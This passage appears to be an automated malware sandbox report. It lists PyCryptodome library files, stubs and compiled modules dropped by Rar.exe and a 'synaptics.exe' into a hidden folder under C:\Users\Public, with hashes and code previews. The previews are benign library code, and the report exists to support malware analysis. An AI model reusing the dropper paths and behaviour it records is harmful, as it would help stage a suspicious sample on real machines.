Size (bytes):	3274
Entropy (8bit):	4.693836120739867
Encrypted:	false
SSDEEP:	48:gY+1BttCqDO2HfgdO3dSXWxAzPB0d8vHWHN6xCvsrWjWO7K1T+vEZq9KsDsD/:ZKBttCqDO2/1AzpatLjST+vt9+/
MD5:	05BAB8AC5A99E7F1E3A930AD0241310A
SHA1:	1C86AE14E272E56C5F7F9B674222AC5C72E5FAA1
SHA-256:	1FBA768D59659EAE57CFBF6E2DD703365744B49FE47BB8EEE11A80A129597735
SHA-512:	FBE7D4C991EFAB21EA6D2E6B1FB98B014C2F823003BF65957B81587B6C19C01FBE2527232EC8B23AE59057A966D1103E6B193CD86CE9CB2E479D5861FFEC9D43
Malicious:	false
Reputation:	low
Preview:	from Crypto.Util.number import long_to_bytes..from Crypto.PublicKey.ECC import EccKey......def _compute_ecdh(key_priv, key_pub):.. # See Section 5.7.1.2 in NIST SP 800-56Ar3.. pointP = key_pub.pointQ * key_priv.d.. if pointP.is_point_at_infinity():.. raise ValueError("Invalid ECDH point").. z = long_to_bytes(pointP.x, pointP.size_in_bytes()).. return z......def key_agreement(**kwargs):.. """Perform a Diffie-Hellman key agreement..... Keywords:.. kdf (callable):.. A key derivation function that accepts ``bytes`` as input and returns.. ``bytes``... static_priv (EccKey):.. The local static private key. Optional... static_pub (EccKey):.. The static public key that belongs to the peer. Optional... eph_priv (EccKey):.. The local ephemeral private key, generated for this session. Optional... eph_pub (EccKey):.. The ephemeral public key, received from the peer for this session. Optional..... At le

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\DH.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	482
Entropy (8bit):	5.105314197006538
Encrypted:	false
SSDEEP:	12:1REYB9mNRE1BgS+1dwCw+cKl1J/5NcpN9NVSyoGyv:1REuyC1R+169gvC/gyfyv
MD5:	69A7EFD78AFDEF04820558CECC146AE6
SHA1:	3CF02E290E2C748FEB0AA29B55FB9C8BE7421E81
SHA-256:	FC079D87295B952D7A52929D205ED7BBED1EE2741479E96337FA7EBC9428A26A
SHA-512:	8F1CD56424FC12C86AA16ED0DBC076E2D0FA7714CE93F4D9B1C109BB661285563E4AA2918C48A2DC076B945ED2207197F53683946E29C78F1B9F32E668E54F03
Malicious:	false
Reputation:	low
Preview:	from typing import TypedDict, Callable, TypeVar, Generic..from typing_extensions import Unpack, NotRequired....from Crypto.PublicKey.ECC import EccKey....T = TypeVar('T')....class RequestParams(TypedDict, Generic[T]):.. kdf: Callable[[bytes\|bytearray\|memoryview], T].. static_priv: NotRequired[EccKey].. static_pub: NotRequired[EccKey].. eph_priv: NotRequired[EccKey].. eph_pub: NotRequired[EccKey]....def key_agreement(**kwargs: Unpack[RequestParams[T]]) -> T: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\KDF.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	22955
Entropy (8bit):	4.822109096386609
Encrypted:	false
SSDEEP:	384:We0Nt96AroMwVVlrV4ENoDZtzQNzRS1zyid3KKKXVvEtUa:9wt5kV4QoDZAzRCnKlm
MD5:	78EA2251CC2560710EFF6D782F1C705E
SHA1:	92A4E050AE5883220F461FC01ED7C0CA1ED4DF16
SHA-256:	F47D981850B12CD0ECE583D13EF5F29F0BF72D60A2D089C3FC093F02EA5D1746
SHA-512:	E52616C1DFB149357FBD8B59D0E0CF392362A03065DC232354D1061DA393F5E30C030A950998A99AD606698E2AA4A769F9D9FD6A3A09281736B1168E5A023329
Malicious:	false
Reputation:	low
Preview:	# coding=utf-8..#..# KDF.py : a collection of Key Derivation Functions..#..# Part of the Python Cryptography Toolkit..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\KDF.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2038
Entropy (8bit):	4.91503915615325
Encrypted:	false
SSDEEP:	48:ccWF4ZIA4B0Aq3myAjhANxt9z5RJx6Rgmqd:ccWFgR42Aq3myANAPz5RJURgmQ
MD5:	1687A469EDFFF0FFDAA2B11B36773D3E
SHA1:	33C8FB6F81ACDB5D4269C3B71B4357A75D3717DA
SHA-256:	B131B886A651ED555E85ED9776332A77826C1EECF002D077573CCB3B6E410F8D
SHA-512:	40EB0A8B520F945357B26CFD09DB469AD54CA21DB0E322D4932DF12570EB23D80920C4B9BC017DDDC241A3FC1F9BA5E41607629ECEB09C59F39B8BCFBCF4D0CA
Malicious:	false
Reputation:	low
Preview:	from types import ModuleType..from typing import Optional, Callable, Tuple, Union, Dict, Any, overload..from typing_extensions import Literal....Buffer=bytes\|bytearray\|memoryview....RNG = Callable[[int], bytes]..PRF = Callable[[bytes, bytes], bytes]....def PBKDF1(password: str, salt: bytes, dkLen: int, count: Optional[int]=1000, hashAlgo: Optional[ModuleType]=None) -> bytes: .....def PBKDF2(password: str, salt: bytes, dkLen: Optional[int]=16, count: Optional[int]=1000, prf: Optional[RNG]=None, hmac_hash_module: Optional[ModuleType]=None) -> bytes: .......class _S2V(object):.. def __init__(self, key: bytes, ciphermod: ModuleType, cipher_params: Optional[Dict[Any, Any]]=None) -> None: ....... @staticmethod.. def new(key: bytes, ciphermod: ModuleType) -> None: ..... def update(self, item: bytes) -> None: ..... def derive(self) -> bytes: .......def HKDF(master: bytes, key_len: int, salt: bytes, hashmod: ModuleType, num_keys: Optional[int]=1, context: Optional[bytes]=None) ->

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\SecretSharing.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9056
Entropy (8bit):	4.7874787545071635
Encrypted:	false
SSDEEP:	192:oqrskrs9t3q/IG1RYr24zEqG5TFiW4m1DH/T:Xrskrs9VqPaQqSTFiWV7
MD5:	8F0F67CEDF28EC2C022DC31587D03BB5
SHA1:	86EC75E3ACBF09488E0592A026F40FF26A27BBF5
SHA-256:	4DB85B5FF214482B6A912C0E90E73F8164B54AC4CC69390DE67024A4B6FD164D
SHA-512:	B6EC5234AF9CC7C513D7FD95BD1638177B0778FA65E19813319B7951B3846F3F83BADC4CFD85FA465CB98886CA73F206228FA336F0F62FFA8E23E455A1BC5BE0
Malicious:	false
Reputation:	low
Preview:	#..# SecretSharing.py : distribute a secret amongst a group of participants..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DI

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\SecretSharing.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	820
Entropy (8bit):	4.725635475246741
Encrypted:	false
SSDEEP:	24:1RElqMAWKVAATGujmo2Iu9DSjYlQTKUajh2FK4AghCN:XMom87jm5Uaj54zY
MD5:	2C29B85AA1A7948F90DCFD8358D8E6B4
SHA1:	A3915B73FF0D5551F611428FEDB436617E35B93F
SHA-256:	17BB4B071A5BAAB986780546A7B0F506F186A683CB2A2A9C9C3B727C3D9C0921
SHA-512:	665A60174EC4D827D95F11F2B88229E943EFF1C2C60F463DD710546970261FE8D8BBF2B527AA82ECB18F25BB1310ED11AFFE8997EC997DEA6D04D4A908EF96C4
Malicious:	false
Reputation:	low
Preview:	from typing import Union, List, Tuple, Optional....def _mult_gf2(f1: int, f2: int) -> int : .....def _div_gf2(a: int, b: int) -> int : .......class _Element(object):.. irr_poly: int.. def __init__(self, encoded_value: Union[int, bytes]) -> None: ..... def __eq__(self, other) -> bool: ..... def __int__(self) -> int: ..... def encode(self) -> bytes: ..... def __mul__(self, factor: int) -> _Element: ..... def __add__(self, term: _Element) -> _Element: ..... def inverse(self) -> _Element: ..... def __pow__(self, exponent) -> _Element: .......class Shamir(object):.. @staticmethod.. def split(k: int, n: int, secret: bytes, ssss: Optional[bool]) -> List[Tuple[int, bytes]]: ..... @staticmethod.. def combine(shares: List[Tuple[int, bytes]], ssss: Optional[bool]) -> bytes: .......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\init.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1585
Entropy (8bit):	5.205262016568805
Encrypted:	false
SSDEEP:	48:MwWOqrYJALrYJHdG43tDs3EsIG13NcuIHm:MwDqrYJALrYJHdt3EHGuIG
MD5:	359E5E3040820102CF68398BFCEF8840
SHA1:	893ABCEC60366D62B13FC6679599EFFFBEFF1450
SHA-256:	5E519AC6FBC45FDC85A460E0DDAD070BAF48BC16C1BA2906A67168F89E3F0899
SHA-512:	953D5D7B66792121BFE24C805B33704E9B2491EB956BAB0F82497455E3CD1388E7DD134685D56E38E6D10D5B45894FA2D9DEBFCAFD53E21D5A600892A11A63BD
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\init.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.516027641266231
Encrypted:	false
SSDEEP:	3:UFo+Cu1KvCGQQN+Zen:U9uCGQY+Zen
MD5:	4200283AFF0E859DE9F1C15EBAD7A073
SHA1:	42B5DC005A804C92E877D93FB14FDB41E52C6C7A
SHA-256:	D17FF2840E82E8BDF3FC2378B27B824FE0C97506473295746C18253407FDA61B
SHA-512:	A4CC0C1A5F215A9E422DF2DF80086E39767ADB2D6D2DA0E086FED921D087847664CCD3D9F7170834E2DCE8B4C07F71422CA0BB962627D4A1CFAFF0E6621FD383
Malicious:	false
Reputation:	low
Preview:	__all__ = ['KDF.pyi', 'SecretSharing.pyi']..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc.70593976

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20415
Entropy (8bit):	5.443242297483508
Encrypted:	false
SSDEEP:	384:KwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:KdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	903435CB077CE4003E1946B42105EC4A
SHA1:	20EFD7F8DAB471B4DF7A59A087B270F8F237960E
SHA-256:	E01CE00BAA4CEE2991561327381842B44EF1F0EEC254F022F2DCAF11E927F3CB
SHA-512:	EEB10BC15174E88574C5A3160E29994BC9C929E5845605F97755F3AA844ED41BBDED0265929A34A510FA0C4FD3757D4EFFB4D69956929F68C8D4C6CA0C58945E
Malicious:	false
Reputation:	low
Preview:	o..........f.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc.76459328

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20415
Entropy (8bit):	5.443242297483508
Encrypted:	false
SSDEEP:	384:KwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:KdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	903435CB077CE4003E1946B42105EC4A
SHA1:	20EFD7F8DAB471B4DF7A59A087B270F8F237960E
SHA-256:	E01CE00BAA4CEE2991561327381842B44EF1F0EEC254F022F2DCAF11E927F3CB
SHA-512:	EEB10BC15174E88574C5A3160E29994BC9C929E5845605F97755F3AA844ED41BBDED0265929A34A510FA0C4FD3757D4EFFB4D69956929F68C8D4C6CA0C58945E
Malicious:	false
Reputation:	low
Preview:	o..........f.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc.70761632

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.118274351448721
Encrypted:	false
SSDEEP:	6:y/ZlpQylud+Z/dZ6+4o+uaHxEM9ArM7BL9+:C362uAZ//6+4Tlh19+
MD5:	C88B54D5F2CF87725D3BBD632636A3E2
SHA1:	52A97A6BE18C581CE76F4651B049AF8569145309
SHA-256:	DCEEAB8204DD17F8AAA367FC2FDA9536AC0A3D42FD8E4A62F3DA3D7C7F115F1F
SHA-512:	9BE6B1EFC8F2A24CB202126631EEF7909B8F140B51217BAA427EE2067C041717C042EA5BCAB3A2EB6653201ACE253702584B00DA4D4153192FB39CAC8C04B57C
Malicious:	false
Reputation:	low
Preview:	o..........f1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc.76344608

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.118274351448721
Encrypted:	false
SSDEEP:	6:y/ZlpQylud+Z/dZ6+4o+uaHxEM9ArM7BL9+:C362uAZ//6+4Tlh19+
MD5:	C88B54D5F2CF87725D3BBD632636A3E2
SHA1:	52A97A6BE18C581CE76F4651B049AF8569145309
SHA-256:	DCEEAB8204DD17F8AAA367FC2FDA9536AC0A3D42FD8E4A62F3DA3D7C7F115F1F
SHA-512:	9BE6B1EFC8F2A24CB202126631EEF7909B8F140B51217BAA427EE2067C041717C042EA5BCAB3A2EB6653201ACE253702584B00DA4D4153192FB39CAC8C04B57C
Malicious:	false
Reputation:	low
Preview:	o..........f1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\_scrypt.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.135904494493939
Encrypted:	false
SSDEEP:	192:oY6GI5NPEtoTB8zRWcNWJjRjOlSszZ0Ewh4MVnrGeN:wvJTB8fYJNjsDwhznrGU
MD5:	05969A7400A260E57F2DAD65544867A4
SHA1:	4AE65E8F97D7AB71C5729555C3C92CEA1AF969EC
SHA-256:	427C831901265053C4F7AE53B7B60078A0A70381D6EA050ED0944556C396EAE8
SHA-512:	9984DBA0DEFC3EF23AB5FDD0B311ECEA6EAA0BA07D8CD9A2CBF6FC7F47D8764110B8A9A2C4F05FE1BEDDBD54F604E2F7A659C73F38767C5B3894298E2E98022B
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........0...............................p............@..........................5..d...d5..d....P.......................`..X...x1...............................0..@............0..\|............................text...[........................... ..`.rdata.......0......................@..@.data........@....... ..............@....rsrc........P......."..............@..@.reloc..X....`.......$..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\DSA.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23060
Entropy (8bit):	4.8542965681461245
Encrypted:	false
SSDEEP:	384:zUe8B4XpyRj8fJ8RbvNWrJVs2okSpSuR4rmSISAX:zH8Qkj8foQrvA4rmSrAX
MD5:	7F4C4E4A51254CF7C23BAD8DF3940A4B
SHA1:	19497A8225DD25DA5379CBB343581383D886B97A
SHA-256:	479862D6D569DDFF438312AF51E1757D6A748ABF932507A3C08564F33DFF6BD5
SHA-512:	62B6196FCB08A837644697519755F2C01C77A386E5083D5CA79303E2EC33A8525A45A7C589B83F95B553F0EE7F82860F9EB108CF070F6DC45615777DF6370F33
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# PublicKey/DSA.py : DSA signature primitive..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\DSA.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	4.9317569017679235
Encrypted:	false
SSDEEP:	24:1RECbuLosANpNAEGjm53s+MAHUpSm+CHZJHPaHzy3:ryEsuj5Gjm2+NHUpGuJiTy3
MD5:	299FE26EFF86811A83759B29485B17D7
SHA1:	308EF3564AB7D637AA3F00747618AB8D625B09F4
SHA-256:	7E2D92CC91313869FFB9ACBDE0F4628F6BB9995FF154BCC0E8C2F1F733E96C4F
SHA-512:	785B0A5D31BC45D4FE2580B26F09A45EFB9FB6244115AB973F4BE65D98A63A49504330553B758672638529082DA1809A541F9AD5EFDF774AA51F9DD2F8A301AF
Malicious:	false
Reputation:	low
Preview:	from typing import Dict, Tuple, Callable, Union, Optional....__all__ = ['generate', 'construct', 'DsaKey', 'import_key' ]....RNG = Callable[[int], bytes]....class DsaKey(object):.. def __init__(self, key_dict: Dict[str, int]) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool: ... # legacy.. def public_key(self) -> DsaKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: ..... def domain(self) -> Tuple[int, int, int]: ..... def __repr__(self) -> str: ..... def __getattr__(self, item: str) -> int: ..... def export_key(self, format: Optional[str]="PEM", pkcs8: Optional[bool]=None, passphrase: Optional[str]=None,.. protection: Optional[str]=None, randfunc: Optional[RNG]=None) -> bytes: ..... # Backward-compatibility.. exportKey = export_key.. publickey = public_key....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\ECC.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	67427
Entropy (8bit):	4.857152735652469
Encrypted:	false
SSDEEP:	1536:HrpnnHM/SBQx60ma/iVVffcIsutOPT/Tl/fokmC1DuYKG:HrdW6gYffcnjBXYI1
MD5:	725F8EC9C104AA3C6B0950278B06BC42
SHA1:	86691C9548643EEC3FCF405B9795EF5A11FDDE8A
SHA-256:	F17C068FD0BC1DCA2CC84366CF2CCB5CECF89DCB460EA7BE6C3BF64387AB9FB7
SHA-512:	D9CF278693EAC5866F7AD7B8223F95608BEB1CE255DA6FC31152DA2980B8DC82432FAFF2B2879F094489E53ABE5422F8FA3097AB3277A708698455991E42A421
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\ECC.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3368
Entropy (8bit):	4.623430359144985
Encrypted:	false
SSDEEP:	48:PjOqA+h7+/O1YZB84jmtD70lAklkqqN1VZcjmRwmuWzXndSnVSOrEuQASxXSs:7OqAow58Kk1VZFGK0SOrTQASxCs
MD5:	D6B0C334F2E86B944B8B5C595D46091B
SHA1:	6D774B4906613E8AEDE7889D06E5F57C3BA51DE5
SHA-256:	11E9396C412E693B5A7D2B9A455BF7596853BE94BC0FCE01F292C1732934CBA3
SHA-512:	A58B1231C7EEBBEC0AFE7192A59204912A88D5E3F51A0356811DCBC11158A11E5D4FF617B4682817D8BE56C88FDA27BBAB95850C77C876336A2DE25927F129EB
Malicious:	false
Reputation:	low
Preview:	from __future__ import annotations....from typing import Union, Callable, Optional, Tuple, Dict, NamedTuple, Any, overload, Literal..from typing_extensions import TypedDict, Unpack, NotRequired....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....RNG = Callable[[int], bytes]......class UnsupportedEccFeature(ValueError):.. .........class EccPoint(object):.. def __init__(self,.. x: Union[int, Integer],.. y: Union[int, Integer],.. curve: Optional[str] = ...) -> None: ....... def set(self, point: EccPoint) -> EccPoint: ..... def __eq__(self, point: object) -> bool: ..... def __neg__(self) -> EccPoint: ..... def copy(self) -> EccPoint: ..... def is_point_at_infinity(self) -> bool: ..... def point_at_infinity(self) -> EccPoint: ..... @property.. def x(self) -> int: ..... @property.. def y(self) -> int: ..... @property.. def xy(self) -> Tuple[int, int]: ..... def size_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\ElGamal.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	8901
Entropy (8bit):	4.841428903824507
Encrypted:	false
SSDEEP:	192:cwPQHv3DZKGLo/sNke4hft2vVHZNfvXv/Ii:zPeY2v1ZNf/oi
MD5:	F85B4D32AF5D4BBD777FB171BB3B3BD2
SHA1:	EC768344A4163127698DDEA1D4D0D63E6EAF7D49
SHA-256:	54F3AB21742989AD8BC1AA56D34505F1601E1DBFAEA89A121F981784FF339DB5
SHA-512:	82D02ECDB710663402330D41E181BB36E73C095C417DE68A1B030F44DF0D90EF6134BFDB919C93F5951622CACAABF25D351811464410D9B159B5E075086BBE29
Malicious:	false
Reputation:	low
Preview:	#..# ElGamal.py : ElGamal encryption/decryption and signatures..#..# Part of the Python Cryptography Toolkit..#..# Originally written by: A.M. Kuchling..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WI

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\ElGamal.pyi

Download File

